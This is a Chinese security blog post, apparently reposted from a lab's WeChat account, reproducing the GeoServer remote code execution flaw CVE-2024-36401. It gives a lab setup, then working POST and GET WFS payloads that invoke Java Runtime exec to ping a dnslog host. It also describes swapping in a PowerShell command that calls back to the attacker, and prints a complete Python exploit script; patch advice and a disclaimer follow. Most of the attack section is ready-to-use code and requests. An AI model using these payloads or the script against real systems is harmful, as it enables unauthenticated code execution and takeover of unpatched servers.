GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)

admin 2025年1月6日18:50:27评论14 views字数 3579阅读11分55秒阅读模式
 

日期:2025年01月06日

作者:goout

介绍:GeoServer Property evalute 远程代码执行漏洞。

0x00 漏洞简介

GeoServer 是一个用 Java 编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。

GeoServer 在版本 2.23.6、2.24.4 和 2.25.2 之前,允许未经身份验证的用户通过多个 OGC 请求参数针对默认 GeoServer 安装的特别构造的输入利用代码注入漏洞,该漏洞是由于应用不安全地将属性名称作为 XPath 表达式进行评估,攻击者可以在默认安装的服务器中执行 XPath 表达式,进而利用执行 Apache Commons Jxpath 提供的功能执行任意代码。

0x01 影响版本

GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
GeoServer < 2.23.62.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)

0x02 环境搭建

下载链接:

https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download

下载好之后,开始安装:

GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
安装此服务之前,还需要配置好 java 环境,否则不能进行下一步的环境安装。
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
端口默认 8080 ,可自定义:
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
安装完毕后,打开安装路径 C:Program FilesGeoServerbin ,点击 startup.bat 进行启动,不要关闭 cmd 窗口:
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
访问环境:http://ip:8999/geoserver/web/

GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)

0x03 漏洞利用

3.1 dnslog 测试

post 数据包:

POST /geoserver/wfs HTTP/1.1Host: 192.169.192.177:8999Content-Type: application/xmlContent-Length: 334<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0' valueReference='exec(java.lang.Runtime.getRuntime(),"ping ltmgz6.dnslog.cn")'> <wfs:Query typeNames='topp:states'/></wfs:GetPropertyValue>
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
get 数据包:
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27ping%209vqg5n.dnslog.cn%27) HTTP/1.1Host: 192.169.192.177:8999Cookie: JSESSIONID=node01odk521suledd1lff372goa4v44.node0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)

3.2 权限获取

数据包内替换 powershell 上线命令:

GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)

3.3 验证脚本

import requestsimport argparsedef exploit_geoserver_rce(target_url, interactsh_url, proxy_url):    headers = {"Content-Type""application/xml"    }    # 构造恶意的XML数据包,执行远程代码    xml_payload = f"""    <wfs:GetPropertyValue service='WFS' version='2.0.0'     xmlns:topp='http://www.openplans.org/topp'     xmlns:fes='http://www.opengis.net/fes/2.0'     xmlns:wfs='http://www.opengis.net/wfs/2.0'     valueReference='exec(java.lang.Runtime.getRuntime(),"ping {interactsh_url}")'>     <wfs:Query typeNames='topp:states'/>    </wfs:GetPropertyValue>    """    # 配置代理    proxies = {"http": proxy_url,"https": proxy_url    }    # 发送HTTP POST请求    try:        response = requests.post(target_url, headers=headers, data=xml_payload, timeout=30, proxies=proxies)        # 打印响应状态码和内容print(f"Response status code: {response.status_code}")print(f"Response text: {response.text}")        # 检查是否成功触发漏洞if"dns" in response.text:print("[+] Exploit succeeded, DNS interaction detected!")else:print("[-] Exploit might have failed or no DNS interaction detected.")    except requests.exceptions.RequestException as e:print(f"Error occurred: {e}")if __name__ == "__main__":    # 设置命令行参数解析    parser = argparse.ArgumentParser(description='Exploit GeoServer RCE (CVE-2024-36401)')    parser.add_argument('-u''--url', required=True, help='Target URL for GeoServer WFS service')    parser.add_argument('-dns''--interactsh', required=True, help='Interactsh DNS URL for command execution verification')    # 代理功能可根据自身习惯使用    parser.add_argument('-p''--proxy'default='http://127.0.0.1:8083', help='Proxy URL (default: http://127.0.0.1:8080)')    # 解析命令行参数    args = parser.parse_args()    # 调用漏洞利用函数    exploit_geoserver_rce(args.url, args.interactsh, args.proxy)
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)

0x04 修复建议

升级至最新版本:

GeoServer 2.23.* >= 2.23.6GeoServer 2.24.* >= 2.24.4

GeoServer 2.25.* >= 2.25.2

GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『漏洞复现』GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日18:50:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401)https://cn-sec.com/archives/3597876.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息